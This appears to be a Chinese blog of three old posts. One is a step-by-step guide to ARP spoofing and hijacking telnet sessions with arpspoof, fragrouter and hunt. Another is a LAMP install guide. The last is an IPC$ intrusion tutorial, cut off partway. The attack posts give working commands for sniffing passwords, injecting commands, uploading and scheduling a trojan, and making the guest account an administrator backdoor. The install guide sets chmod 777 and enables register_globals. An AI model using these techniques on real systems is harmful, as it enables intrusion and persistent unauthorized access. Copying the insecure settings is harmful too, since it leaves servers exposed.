2006年03月21日

交换环境下的会话劫持

作者:psef

一.前言:
在交换式网络环境之下,数据包被发送给指定端口,为会话劫持增加了难度。但是,还是可以在交换式网络上实现会话劫持和监视会话的。本文主要介绍一下如何利用arpspoof、fragrouter和hunt在交换环境下进行会话劫持。

二.攻击:

环境:
用户 IP: 10.10.10.1 win2k
服务器 IP: 10.10.10.2 linux
攻击者 IP: 10.10.10.3 linux
注:三台机器是连在一个交换机上的。

软件:
arpspoof是dsniff软件包的一个程序,可以用来进行ARP欺骗,另外dsniff还有一些攻击和欺骗的东东。
fragrouter是一个包转发工具,可以利用测试IDS包重组的能力。
Hunt是一个会话劫持的工具,操作简单,功能强大。

原理:通过arpspoof进行ARP欺骗,让两台机器通信的数据包留经攻击者的机器,然后利用fragrouter进行转包,最后利用Hunt进行会话劫持。

过程:
1.获取MAC地址
[root@w3w6 dsniff-2.3]#ping 10.10.10.1
64 bytes from 10.10.10.1: icmp_seq=0 ttl=128 time=1.3ms

[root@w3w6 dsniff-2.3]#ping 10.10.10.2
64 bytes from 10.10.10.2: icmp_seq=0 ttl=255 time=3.8ms

–这样攻击者就知道了10.10.10.1和10.10.10.2的MAC地址

2.ARP欺骗:是利用广播地址上主机保持周边计算机信息方式的固有安全弱点,使用伪造的MAC地址和IP地址伪装成ARP高速缓存中的另外一台主机的技术。攻击者可以伪造其它主机的MAC地址,通过伪造ARP回应获取LAN内的一台主机发送给另外一台主机的数据包。

[root@w3w6 dsniff-2.3]# ./arpspoof -i eth0 -t 10.10.10.1 10.10.10.2
0:50:56:7b:b4:d8 0:1:2:9a:19:bd 0806 42: arp reply 10.10.10.2 is-at 0:50:56:7b:b4:d8
0:50:56:7b:b4:d8 0:1:2:9a:19:bd 0806 42: arp reply 10.10.10.2 is-at 0:50:56:7b:b4:d8
–告诉10.10.10.1服务器10.10.10.2的MAC地址为00:50:56:7b:b4:d8,也就是攻击者的MAC地址,这样10.10.10.1发向10.10.10.2的数据包都重定向到10.10.10.3

[root@w3w6 dsniff-2.3]# ./arpspoof -i eth0 -t 10.10.10.2 10.10.10.1
0:50:56:7b:b4:d8 0:50:56:59:2a:a2 0806 42: arp reply 10.10.10.1 is-at 0:50:56:7b:b4:d8
0:50:56:7b:b4:d8 0:50:56:59:2a:a2 0806 42: arp reply 10.10.10.1 is-at 0:50:56:7b:b4:d8
–告诉10.10.10.12用户10.10.10.1的MAC地址为00:50:56:7b:b4:d8,也就是攻击者的MAC地址,这样10.10.10.2发向10.10.10.1的数据包都重定向到10.10.10.3

–通过上面的两个arpspoof命令,攻击者完成了ARP欺骗,造成用户和服务器的通信完全重定向到攻击者的机器。
但是,为了使客户和服务器正常的通信,需要将攻击者机器的IP转发功能打开,使其起到一个路由器的功能。

3.数据转发:转发客户和服务器间的数据包
一是利用linux内核进行转,echo 1 > /proc/sys/net/ipv4/ip_forward
二是利用fragrouter,简单的打开包转发功能
[root@w3w6 fragrouter-1.6]# ./fragrouter -B1
….
10.10.10.1.1558 > 10.10.10.2.80: S 2776465951:2776465951(0) win 16384 (DF)
10.10.10.2.80 > 10.10.10.1.1558: S 35432263:35432263(0) ack 2776465952 win 5840 (DF)
10.10.10.2.80 > 10.10.10.1.1558: S 35432263:35432263(0) ack 2776465952 win 5840 (DF)
10.10.10.1.1558 > 10.10.10.2.80: . ack 35432264 win 17520 (DF)
10.10.10.1.1558 > 10.10.10.2.80: P 2776465952:2776466230(278) ack 35432264 win 17520 (DF)
10.10.10.2.80 > 10.10.10.1.1558: . ack 2776466230 win 6432 (DF)
10.10.10.2.80 > 10.10.10.1.1558: . 35432264:35433724(1460) ack 2776466230 win 6432 (DF)
10.10.10.1.1558 > 10.10.10.2.80: . ack 35432264 win 17520 (DF)
10.10.10.2.80 > 10.10.10.1.1558: . 35435184:35436644(1460) ack 2776466230 win 6432 (DF)

–可以看出10.10.10.1与10.10.10.2的通信已经被重定向到10.10.10.3

4.会话劫持:劫持一个现存的会话,利用合法用户进行连接并通过验证,之后顺其自然接管会话。会话劫持有两种方式:积极的攻击方式和消极的攻击方式。积极的攻击方式中,黑客需要寻找动态的会话并且接管它,这种方式需要使用户下线、不再参与会话。消极的攻击方式中,黑客劫持会话,但是隐藏在后方观察并且记录发送和接收的信息。下面采用混合型攻击方式:先监视会话,然后劫持会话。

[root@w3w6 hunt-1.5]# ./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
— Main Menu — rcvpkt 3, free/alloc 63/64 ——
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> l
0) 10.10.10.1 [1364] –> 10.10.10.2 [23] —-用户正在telnet到服务器
-
–监视会话
-> w
0) 10.10.10.1 [1364] –> 10.10.10.2 [23]

choose conn> 0
dump [s]rc/[d]st/[b]oth [b]> b
print src/dst same characters y/n [n]> y

CTRL-C to break
tttttteeeeeesssssstttttt

Password: Password: Password: ttteeesssttt

Last login: Fri Mar 22 19:35:39 from 10.10.10.1
Last login: Fri Mar 22 19:35:39 from 10.10.10.1
Last login: Fri Mar 22 19:35:39 from 10.10.10.1
[test@w3w7 test]$ [test@w3w7 test]$ [test@w3w7 test]$ lllsss

haha hehe

—-可见用户刚登录,用户名为test,口令也为test(呵呵,这是巧合,未必一定能在用户登录的时候监视到,除非是一直监视或是运气好),用户登录后执行了ls命令

–会话劫持
-> s
0) 10.10.10.1 [1364] –> 10.10.10.2 [23]

choose conn> 0
dump connection y/n [n]> y
dump [s]rc/[d]st/[b]oth [b]> b
print src/dst same characters y/n [n]> y

CTRL-C to break

– press any key> Enter the command string you wish executed or [cr]> mkdir heihei
mkdir heihei
[root@w3w7 test]# ACK storm detected – reset after 4s

hunt: possible ACK storm: 0) 10.10.10.2 [23] –> 10.10.10.1 [1364]
…….

reset done

—这时用户与服务器的会话中断,用户需要重新登录

[root@w3w7 test]#ls
haha hehe heihei

可见攻击者已将mkdir heihei命令插入到用户与服务器的会话中,劫持成功,当然还可以执行一些中间命令,如创建用户、删除文件等。不过同时要根据劫持的用户的权限而定,如果劫持的是超级用户,嘿嘿,就可以…

同样原理,如果使用sniffit或者dsniff代替hunt就可以进行嗅探了,如果不习惯的话,还可以利用windows下的sniffer Pro进行抓包,这时只要把攻击的linux装在VMware下即可。

三.防御:

防止ARP欺骗:
1.不要把网络安全信任关系建立在ip基础上或MAC基础上,理想的关系应该建立在ip+MAC基础上。
2.使用静态ARP,禁止自动更新,使用手动更新。
3.定期检查ARP请求,使用ARP监视工具,例如ARPWatch监视并探测ARP欺骗。

防止会话劫持:
1.通信和会话加密,使用安全协议,例如使用SSH代替telnet和ftp,使用SSL代替http。
2.限制连接,减少黑客进行会话劫持的机会。
3.完善认证措施,即不仅仅在建立会话时进行认证。

四.后语:
希望在交换网络的用户注意数据传输的安全。同时希望不要利用上面的技术在公司内部的交换网络进行破坏,否则后果自负。

2005年10月27日

调试环境:Redhat9.0 Apache1.3.29 Mysql3.23.58 PHP4.3.4
  
  Linux
系统的安装我就不讲了,这是基本功,其实这篇文章在类似Redhat的其他linux也应该通用,大家只要掌握我提供的方法就行。记得安装
Redhat9。0的时候不要安装系统默认的apache,mysql和php以及相关的软件。已经安装的请用rpm -e * 删除已经安装的包。
  
  1.安装Mysql3.23.58
  
 
 其实老实说直接安装Mysql官方网站提供的rpm包也是一个比较可行的办法,他的官方网站的rpm包的提供基本跟tar包发行是同步的,这点我比较喜
欢,至少安装rpm包的在后面的调试中不会出现mysql库文件找不到的情况。但这里还是有必要讲一下自定义安装的步骤,毕竟网友自定义安装的还说挺多
的。
  
  软件获取:http://www.mysql.com/downloads/index.html
  
  安装步骤:
  
  tar zxvf mysql-3.23.58.tar.gz
  cd mysql-3.23.58
  
  ./configure –prefix=/usr/local/mysql –sysconfdir=/etc –localstatedir=/var/lib/mysql
  
  make
  
  make install
  
  #prefix=/usr/local/mysql mysql安装的目标目录
  
  #sysconfdir=/etc my.ini配置文件的路径
  
  #localstatedir=/var/lib/mysql 数据库存放的路径
  
  安装完以后要初始化数据库,当然你是升级的话不用做这步;
  
  /usr/local/mysql/bin/mysql_install_db
  
  如果系统没有mysql这个用户的话,最好做以下这步:
  
  useradd -M -o -r -d /var/lib/mysql -s /bin/bash -c "MySQL Server" -u 27 mysql
  
  然后我启动mysql
  
  /usr/local/mysql/bin/safe_mysqld &
  
  ok,先看看mysql能否正常工作
  
  mysql -uroot mysql
  
  一般情况下都是不能正常链接数据库,错误提示一般为:
  
  ERROR 2002: Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’ (2)
  
  其实网上大家问的最多的都是整个问题,说什么链接不到mysqld.sock,其实大家不妨看看mysql的错误日志就明白怎么回事,我这里的错误日志是在
  
  /var/lib/mysql/*.err 你会发现mysql只所以不能启动,是因为/var/lib/mysql的权限不允许mysql服务访问,英文mysql默认是调用mysql用户来启动服务的,好了,既然知道是什么原因找到不能启动,那就简单了。我们只要
  
  chown -R mysql:mysql /var/lib/mysql 就行,如果还是启动不了,再慢慢调试权限,反正一般启动不了都是权限的问题。
  
  如果大家还是不能启动不了的话,那就用我的比较繁琐的权限的设置,反正我每次都是这么做的,一般不会有问题,见下:
  
  chown -R root /usr/local/mysql
  chgrp -R mysql /usr/local/mysql
  chown -R root /usr/local/mysql/bin
  chgrp -R mysql /usr/local/mysql/bin
  chgrp -R mysql /var/lib/mysql
  chmod 777 /var/lib/mysql
  chown -R root /var/lib/mysql/mysql
  chgrp -R mysql /var/lib/mysql/mysql
  chmod 777 /var/lib/mysql/mysql
  chown -R root /var/lib/mysql/mysql/*
  chgrp -R mysql /var/lib/mysql/mysql/*
  chmod 777 /var/lib/mysql/mysql/*
  chmod 777 /usr/local/mysql/lib/mysql/libmysqlclient.a
  
  做完上面的步骤,然后把你编译目录的一个脚本COPY过去
  
  cp support-files/mysql.server /etc/rc.d/init.d/mysqld
  
  chkconfig –add mysqld
  
  用ntsysv设置使mysql每次启动都能自动运行。
  
  好了,至此mysql安装完毕,你可以这样起动你的mysql服务
  
  /etc/rc.d/init.d/mysqld start
  
  下面这步比较关键,
  
  ln -s /usr/local/mysql/lib/mysql /usr/lib/mysql
  ln -s /usr/local/mysql/include/mysql /usr/include/mysql
  
  大家可以不做这步,大可以在编译其他软件的时候自定义myslq的库文件路径,但我还是喜欢把库文件链接到默认的位置,这样你在编译类似PHP,Vpopmail等软件时可以不用指定mysql的库文件地址。
  
  2.安装Apache1.3.29。我没有选择安装Apache2.0是我对他还是不放心,因为网上最新公布的apache的漏洞基本上是针对2.0,当然大家可以自己选择安装相应的版本。我这里讲的都是采用DSO动态编译的方法编译Apache.
  

  软件获取:http://httpd.apache.org/
  
  tar zvxf apache_1.3.29.tar.gz
  cd apache_1.3.29
  修改src/include/httpd.h 增大最大线程数
  
  #define HARD_SERVER_LIMIT 256
  
  改成
  
  #define HARD_SERVER_LIMIT 2560
  
  保存退出编译apache
  
 
 ./configure –prefix=/usr/local/apache –enable-module=so
–enable-module=rewrite –enable-shared=max –htdocsdir=/var/www
&&
  make &&
  make install
  
  #这里我们通过
enable-module参数告诉设置脚本,我们需要启动so和rewrite模块,so模块是用来提DSO支持的apache核心模块,而
rewrite模块则是用意实现地址重写的模块,由于rewrite模块需要DBM支持,如果在初次安装时没有编译进apache,以后需要用到时需要重
新编译整个apache才可以实现。为此除非你可以确定以后不会用到rewrite模块,否则还是建议你在第一次编译的时候把rewrite模块编译好。
  
  enable-shared=max 这个参数的作用时编译apache时,把除了so以外的所有apache的标准模块都编译成DSO模块。而不是编译进apache核心内。
  
  好了安装apache很简单的哦,启动apache看看
  
  /usr/local/apache/bin/apachectl start
  
  然后用ie看http://你的服务器地址。应该能看到熟悉的apache羽毛标志。
  
  3.安装PHP4.3.4
  
  软件获取:http://www.php.net/downloads.php
  
  tar zvxf php-4.3.4.tar.gz
  cd php-4.3.4
  
 
 ./configure –prefix=/usr/local/php –with-mysql=/usr/local/mysql
–enable-force-cgi-redirect –with-freetype-dir=/usr
–with-png-dir=/usr –with-gd –enable-gd-native-ttf –with-ttf
–with-gdbm –with-gettext –with-iconv –with-jpeg-dir=/usr –with-png
–with-zlib –with-xml –enable-calendar
–with-apxs=/usr/local/apache/bin/apxs
  
  make
  
  make install
  
 
 #我这里由于服务器需要用到GD库,所以加了一些支持GD的编译参数
,GD直接用了redhat自带的GD库,大家没有安装的话可以从安装盘安装,注意除了安装GD以外,还要安装libjpeg,libpng等库文件。另
外–with-mysql=/usr/local/mysql指向你安装mysql的路径。–with-apxs指向apache的apxs文件的路
径。
  
  vi /usr/local/apache/conf/httpd.conf
  
  查找<IfModule mod_mime.c>
  
  在此范围添加
  
  AddType application/x-httpd-php .php
  AddType application/x-httpd-php-source .phps
  
  然CPOPY PHP的配置文件
  
  cp ../php4.3.4/php.ini.dist /usr/local/php/lib/php.ini
  
  修改php.ini文件
  register_globals = On
  
  ok!重新启动一下apache服务器
  /usr/local/apache/bin/apachectl restart
  
  然后写个php测试页info.php:内容如下
  
  <?php
  phpinfo();
  ?>
  
  正常的话,应该能看到php的信息了,恭喜你的Apche+Mysql+PHP安装成功。

2005年10月23日

一 前言
二 什么是ipc$
三 什么是空会话
四 空会话可以做什么
五 ipc$连接所使用的端口
六 ipc$连接在hack攻击中的意义
七 ipc$连接失败的常见原因
八 复制文件失败的原因
九 如何打开目标的IPC$共享以及其他共享
十 一些需要shell才能完成的命令
十一 入侵中可能会用到的相关命令
十二 ipc$完整入侵步骤祥解
十三 如何防范ipc$入侵
十四 ipc$入侵问答精选
十五 结束的话

一 前言

网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄。
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的种种迷惑(你随便找一个hack论坛搜一下ipc$,看看存在的疑惑有多少)。因此我参考了网上的一些资料,教程以及论坛帖子,写了这篇总结性质的文章,想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!
注意:本文所讨论的各种情况均默认发生在win NT/2000环境下,win98将不在此次讨论之列,而鉴于win Xp在安全设置上有所提高,个别操作并不适用,有机会将单独讨论。

二 什么是ipc$

IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。
平时我们总能听到有人在说ipc$漏洞,ipc$漏洞,其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说,一定是指微软自己安置的那个‘后门’:空会话(Null session)。那么什么是空会话呢?
三 什么是空会话

在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。
在Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的,建立成功的会话将成为一个安全隧道,建立双方通过它互通信息,这个过程的大致顺序如下:
1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建
立;
2)服务器产生一个随机的64位数(实现挑战)传送回客户;
3)客户取得这个由服务器产生的64位数,用试图建立会话的帐号的口令打乱它,将结
果返回到服务器(实现响应);
4)服务器接受响应后发送给本地安全验证(LSA),LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。
以上是一个安全会话建立的大致过程,那么空会话又如何呢?

空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据WIN2000的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因此,这个会话不能让系统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话的SID,用户名是:ANONYMOUS LOGON(这个用户名是可以在用户列表中看到的,但是是不能在SAM数据库中找到,属于系统内置的帐号),这个访问令牌包含下面伪装的组:
Everyone
Network
在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢?

四 空会话可以做什么

对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对2000作用更小,因为在Windows 2000 和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的ipc$入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到户列表,这对于一个老练的黑客已经足够了。以下是空会话中能够使用的具体命令:

1 首先,我们先建立一个空会话(需要目标开放ipc$)
命令:net use \\ip\ipc$ “” /user:”"
注意:上面的命令包括四个空格,net与use中间有一个空格,use后面一个,密码左右各一个空格。

2 查看远程主机的共享资源
命令:net view \\IP
解释:建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下类似类似结果:
在 \\*.*.*.*的共享资源
资源共享名 类型 用途 注释

———————————————————–
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。

3 查看远程主机的当前时间
命令:net time \\IP
解释:用此命令可以得到一个远程主机的当前时间。

4 得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)
nbtstat -A IP
用此命令可以得到一个远程主机的NetBIOS用户名列表(需要你的netbios支持),返回如下结果:

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
———————————————
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H <1C> GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services <1C> GROUP Registered
IS~SERVER……<00> UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37

以上就是我们经常使用空会话做的事情,好像也能获得不少东西哟,不过要注意一点:建立IPC$连接的操作会在EventLog中留下记录,不管你是否登录成功。 好了,那么下面我们就来看看ipc$所使用的端口是什么?
五 ipc$所使用的端口

首先我们来了解一些基础知识:
1 SMBServer Message Block) Windows协议族,用于文件打印共享的服务;
2 NBTNETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
3 在WindowsNT中SMB基于NBT实现,而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。

有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:

对于win2000客户端来说:
1 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;
2 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。由此可见,禁止了NBT后的win 2000对win NT的共享访问将会失败。

对于win2000服务器端来说:
1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放;
2 如果禁止NBT,那么只有445端口开放。

我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ipc$会话是无法建立的。

六 ipc$连接在hack攻击中的意义

就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,那你可就了不得了,基本上可以为所欲为了。不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些粗心的管理员存在弱口令,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码将会越来越难的,因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,甚至在主机不开启ipc$共享时,你根本就无法连接,你会慢慢的发现ipc$连接并不是万能的,所以不要奢望每次连接都能成功,那是不现实的。
是不是有些灰心?倒也不用,关键是我们要摆正心态,不要把ipc$入侵当作终极武器,不要认为它战无不胜,它只是很多入侵方法中的一种,你有可能利用它一击必杀,也有可能一无所获,这些都是正常的,在黑客的世界里,不是每条大路都能通往罗马,但总有一条路会通往罗马,耐心的寻找吧!
七 ipc$连接失败的常见原因

以下是一些常见的导致ipc$连接失败的原因:

1 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ipc$连接的;

2 如果想成功的建立一个ipc$连接,就需要对方开启ipc$共享,即使是空连接也是这样,如果对方关闭了ipc$共享,你将会建立失败;

3 你未启动Lanmanworkstation服务,它提供网络链结和通讯,没有它你无法发起连接请求(显示名为:Workstation);

4 对方未启动Lanmanserver服务,它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它远程主机将无法响应你的连接请求(显示名为:Server);

5 对方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份;

6 对方禁止了NBT(即未打开139端口);

7 对方防火墙屏蔽了139和445端口;

8 你的用户名或者密码错误(显然空会话排除这种错误);

9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号”"即可;

10 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。

另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows无法找到网络路径:网络有问题;
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;
错误号1326,未知的用户名或错误密码:原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。

八 复制文件失败的原因

有些朋友虽然成功的建立了ipc$连接,但在copy时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败的常见原因又有哪些呢?

1 盲目复制
这类错误出现的最多,占到50%以上。许多朋友甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下对方的共享情况,不要认为ipc$连接建立成功了就一定有共享文件夹。

2 默认共享判断错误
这类错误也是大家经常犯的,主要有两个小方面:

1)错误的认为能建立ipc$连接的主机就一定开启了默认共享,因而在建立完连接之后马上向admin$之类的默认共享复制文件,导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享,ipc$共享与默认共享是两码事,ipc$共享是一个命名管道,并不是哪个实际的文件夹,而默认共享并不是ipc$共享的必要条件;

2)由于net view \\IP 无法显示默认共享(因为默认共享带$),因此通过这个命令,我们并不能判断对方是否开启了默认共享,因此如果对方未开启默认共享,那么所有向默认共享进行的操作都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,可以避免此类错误的发生)

3用户权限不够,包括四种情形:
1)空连接向所有共享(默认共享和普通共享)复制时,大多情况下权限是不够的;
2)向默认共享复制时,要具有管理员权限;
3)向普通共享复制时,要具有相应权限(即对方事先设定的访问权限);
4)对方可以通过防火墙或安全软件的设置,禁止外部访问共享;

还需要说明一点:不要认为administrator就一定是管理员,管理员名称是可以改的。

4被防火墙杀死或在局域网
也许你的复制操作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;还有可能你把木马复制到了局域网内的主机,导致连接失败。因此建议你复制时要小心,否则就前功尽弃了。

呵呵,大家也知道,ipc$连接在实际操作过程中会出现千奇百怪的问题,上面我所总结的只是一些常见错误,没说到的,只能让大家自己去体会了。
九 如何打开目标的IPC$共享以及其他共享

目标的ipc$不是轻易就能打开的,否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马等,然后在shell下执行net share ipc$来开放目标的ipc$,用net share ipc$ /del来关闭共享。如果你要给它开共享文件夹,你可以用net share baby=c:\,这样就把它的c盘开为共享名为baby共享了。

十 一些需要shell才能完成的命令

看到很多教程这方面写的十分不准确,一些需要shell才能完成命令就简简单单的在ipc$连接下执行了,起了误导作用。那么下面我总结一下需要在shell才能完成的命令:

1 向远程主机建立用户,激活用户,修改用户密码,加入管理组的操作需要在shell下完成;

2 打开远程主机的ipc$共享,默认共享,普通共享的操作需要在shell下完成;

3 运行/关闭远程主机的服务,需要在shell下完成;

4 启动/杀掉远程主机的进程,也需要在shell下完成。

[page]
十一 入侵中可能会用到的相关命令

请注意命令适用于本地还是远程,如果适用于本地,你只能在获得远程主机的shell后,才能向远程主机执行。

1 建立空连接:
net use \\IP\ipc$ “” /user:”"

2 建立非空连接:
net use \\IP\ipc$ “psw” /user:”account”

3 查看远程主机的共享资源(但看不到默认共享)
net view \\IP

4 查看本地主机的共享资源(可以看到本地的默认共享)
net share

5 得到远程主机的用户名列表
nbtstat -A IP

6 得到本地主机的用户列表
net user

7 查看远程主机的当前时间
net time \\IP

8 显示本地主机当前服务
net start

9 启动/关闭本地服务
net start 服务名 /y
net stop 服务名 /y

10 映射远程共享:
net use z: \\IP\baby
此命令将共享名为baby的共享资源映射到z盘

11 删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del /y删除全部

12 向远程主机复制文件
copy \路径\srv.exe \\IP\共享目录名,如:
copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内

13 远程添加计划任务
at \\ip 时间 程序名,如:
at \\127.0.0.0 11:00 love.exe
注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径

14 开启远程主机的telnet
这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求:

1)目标开启了ipc$共享
2)你要拥有管理员密码和帐号
3)目标开启RemoteRegistry服务,用户就该ntlm认证
4)对WIN2K/XP有效,NT未经测试
命令格式:OpenTelnet.exe \\server account psw NTLM认证方式 port
试例如下:c:\>OpenTelnet.exe \\*.*.*.* administrator “” 1 90

15 激活用户/加入管理员组
1 net uesr account /active:yes
2 net localgroup administrators account /add

16 关闭远程主机的telnet
同样需要一个小程序:ResumeTelnet.exe
命令格式:ResumeTelnet.exe \\server account psw
试例如下:c:\>ResumeTelnet.exe \\*.*.*.* administrator “”

17 删除一个已建立的ipc$连接
net use \\IP\ipc$ /del

十二 ipc$完整入侵步骤祥解

其实入侵步骤随个人爱好有所不同,我就说一下常见的吧,呵呵,献丑了!

1 用扫描软件搜寻存在若口令的主机,比如流光,SSS,X-scan等,随你的便,然后锁定目标,如果扫到了管理员权限的口令,你可以进行下面的步骤了,假设你现在得到了administrator的密码为空

2 此时您有两条路可以选择:要么给对方开telnet(命令行),要么给它传木马(图形界面),那我们就先走telnet这条路吧

3上面开telnet的命令没忘吧,要用到opentelnet这个小程序
c:\>OpenTelnet.exe \\192.168.21.* administrator “” 1 90
如果返回如下信息
*******************************************************
Remote Telnet Configure, by refdom
Email: refdom@263.net
OpenTelnet.exe

Usage:OpenTelnet.exe \\server username password NTLMAuthor telnetport
*******************************************************
Connecting \\192.168.21.*…Successfully!

NOTICE!!!!!!
The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23

Starting telnet service…
telnet service is started successfully! telnet service is running!

BINGLE!!!Yeah!!
Telnet Port is 90. You can try:”telnet ip 90″, to connect the server!
Disconnecting server…Successfully!
*说明你已经打开了一个端口90的telnet。

4 现在我们telnet上去
telnet 192.168.21.* 90
如果成功,你将获得远程主机的一个shell,此时你可以像控制自己的机器一样控制你的肉鸡了,那么做点什么呢?把guest激活再加入管理组吧,就算留个后门了

5 C:\>net user guest /active:yes
*将Guest用户激活,也有可能人家的guest本来就试活的,你可以用net user guest看一下它的帐户启用的值是yes还是no

6 C:\>net user guest 1234
*将Guest的密码改为1234,或者改成你喜欢的密码

7 C:\>net localgroup administrators guest /add
*将Guest变为Administrator,这样,即使以后管理员更改了他的密码,我们也可以用guest登录了,不过也要提醒您,因为通过安全策略的设置,可以禁止guest等帐户的远程访问,呵呵,如果真是这样,那我们的后门也就白做了,愿上帝保佑Guest。

8 好了,现在我们来走另一条路,给它传个木马玩玩

9 首先,我们先建立起ipc$连接
C:\>net use \\192.168.21.*\ipc$ “” /user:administrator

10 既然要上传东西,就要先知道它开了什么共享
C:\>net view \\192.168.21.*
在 \\192.168.21.*的共享资源
资源共享名 类型 用途 注释

———————————————————–
C Disk
D Disk
命令成功完成。
*好了,我们看到对方共享了C,D两个盘,我们下面就可以向任意一个盘复制文件了。再次声明,因为用net view命令无法看到默认共享,因此通过上面返回的结果,我们并不能判断对方是否开启了默认共享。

11 C:\>copy love.exe \\192.168.21.*\c
已复制 1 个文件
*用这个命令你可以将木马客户端love.exe传到对方的c盘下,当然,如果能复制到系统文件夹下是最好的了,不容易被发现

12 运行木马前,我们先看看它现在的时间
net time \\192.168.21.*
\\192.168.21.*的当前时间是 2003/8/22 上午 11:00
命令成功完成

